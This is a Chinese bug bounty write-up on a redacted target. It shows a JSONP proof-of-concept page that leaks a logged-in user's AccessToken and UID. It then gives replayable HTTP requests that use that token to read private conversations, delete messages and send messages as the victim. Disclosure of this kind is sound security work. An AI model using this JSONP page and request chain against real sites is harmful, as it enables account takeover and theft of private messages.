本篇是发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金文章的继续拓展阅读。
注:为遵守保密政策,实际易受攻击资产均以 staging.vulnerable.com 代替。
概念证明:
假设攻击者可以在一个易受攻击的端点调用自己的JSONP回调函数(例如 calc ):
这可以通过向API响应传递回调(通过参数)来实现 callback
,该回调将包裹在JSON对象周围,允许我们在脚本标记之间加载API响应以进一步处理它:
<html>
<script>
function calc(s)
{
alert(JSON.stringify(s));
}
</script>
<script src="https://staging.vulnerable.com/account/messagecenter/headerwidget/params?callback=calc"></script>
</html>
攻击者在自己的服务器上托管上述代码,经过身份验证的用户如果访问页面的URL,可以看到成功获得用户的AccessToken和UID值:
获取AccessToken和UID并不困难,识别它们的具体使用情况才是真正的挑战,浏览API文档并搜索该值是否有用通常是一个无聊且耗时的过程,AccessToken如果有用,那么在哪里使用它们以及如何使用它们?
在花了大约一个小时后,白帽小哥发现文档中没有任何关于 AccessToken 或相关信息的内容,随着深入挖掘,白帽小哥发现 AccessToken 似乎无法使用在任何功能上,于是他决定放弃了这一发现,转而投入其它工作。
第二天,白帽小哥认为应该在 API 调用中进行一些随机的最后尝试,于是他开始查看所有的请求和响应,一段时间后,他发现了一个XHR请求:
GET /api/communication-service/conversation?showHidden=true HTTP/1.1
Host: staging.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://staging.vulnerable.com/account/messagecenter
Cookie: COOKIE_VALUES_HERE
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
白帽小哥从上述请求中删除了Cookie,并开始使用 AccessToken ,并希望它可能是一个有效的身份验证令牌,经过几次尝试后,他随机传递了AccessToken作为Bearer令牌头:
GET /api/communication-service/conversation?showHidden=true HTTP/1.1
Host: staging.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://staging.vulnerable.com/account/messagecenter
Authorization: bearer xxxxxxxxxxxxxxxxxxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
居然成功了!这基本算是应用程序一个问题,该问题证明即使是看似“无用”的 AccessToken 值, 在加载了令牌头中传递时,/api/communication-service/conversation
端点仍然会被接受。
上述请求获取了所有的信息、日期、用户名,以及参与对话的用户的账号和对话ID。
重放以下请求就能够获取用户的特定会话的详细信息(将CONVERSATION-ID 替换为在上一请求中获取到的 conversationId ):
GET /api/communication-service/conversation/CONVERSATION-ID/message HTTP/1.1
Host: staging.vulnerable.com
Authorization: bearer xxxxxxxxxxxxxxxxxxxxxxxxxxx
Connection: close
sec-ch-ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
重放以下请求以从用户帐户中获取与特定参与者的对话(将ACCOUNT-ID 替换为为 accountid ):
GET /api/communication-service/conversation?participantIds=ACCOUNT-ID&showHidden=true HTTP/1.1
Host: staging.vulnerable.com
Authorization: bearer xxxxxxxxxxxxxxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie:
删除用户所有私信:
重放以下请求,可从用户帐户中删除特定消息(将CONVERSATION-ID 替换为为 conversationId , messageid 637712054644701721 为初始步骤中获得):
DELETE /api/communication-service/conversation/CONVERSATION-ID/message/637712054644701721 HTTP/1.1
Host: staging.vulnerable.com
Authorization: bearer xxxxxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://staging.vulnerable.com
Connection: close
Cookie:
向任何人发送消息:
发送消息分为两种情况,一种情况是向用户从未与其进行过对话的任何人发送消息,另一种情况是向用户已经进行对话的人发送消息。
要与任何人从用户的帐户创建一个新的对话,重放以下请求(替换 UID 为用户的 accountPublicGuid ,并替换 ACCOUNT-ID 为 accountId )
POST /api/communication-service/conversation HTTP/1.1
Host: staging.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 445
Origin: https://staging.vulnerable.com
Authorization: bearer xxxxxxxxxxxxxxxxxxxxxxx
Connection: close
Cookie:
{"createDate":"2021-10-30T15:41:53.697Z","createdBy":"UID","lastMessageCreatedBy":"UID","lastMessageDate":"2021-10-30T15:41:53.697Z","lastMessageId":null,"lastMessageText":"---","state":0,"participants":[{"accountId":"ACCOUNT-ID","createDate":null,"lastViewedMessageId":null,"profileImageUrl":null,"securityType":null,"username":null,"isAuthor":false}]}
从响应包中可以看到 id
呈现的JSON中的第一个值(该值即新的会话 id
):
然后在下面的请求中使用这个新生成的conversationid来发送消息(替换 UID
为user的 accountPublicGuid
):
POST /api/communication-service/conversation/3a2c54d5-4706-4478-8965-da32256138fb/message HTTP/1.1
Host: staging.vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 178
Origin: https://staging.vulnerable.com
Connection: close
Authorization: bearer xxxxxxxxxxxxxxxxx
Cookie:
{"attachments":[],"createDate":"2021-10-30T15:43:49.837Z","createdBy":"UID","messageText":"","sid":"","message":"ATTACKER_MESSAGE_FROM_VICTIM_ACCOUNT"}
要从用户帐户内的现有会话中发送消息,只需使用适当的“conversationid”重放之前的请求即可。
除了与消息相关的操作之外,攻击者还能够从用户的帐户获取所有 Lists 内容,创建新 Lists 内容等。
漏洞影响:
攻击者可通过电子邮件或在论坛/博客的形式,窃取用户令牌,从而使攻击者能够接管用户帐户的一些关键操作。
赏金奖励:
====正文结束====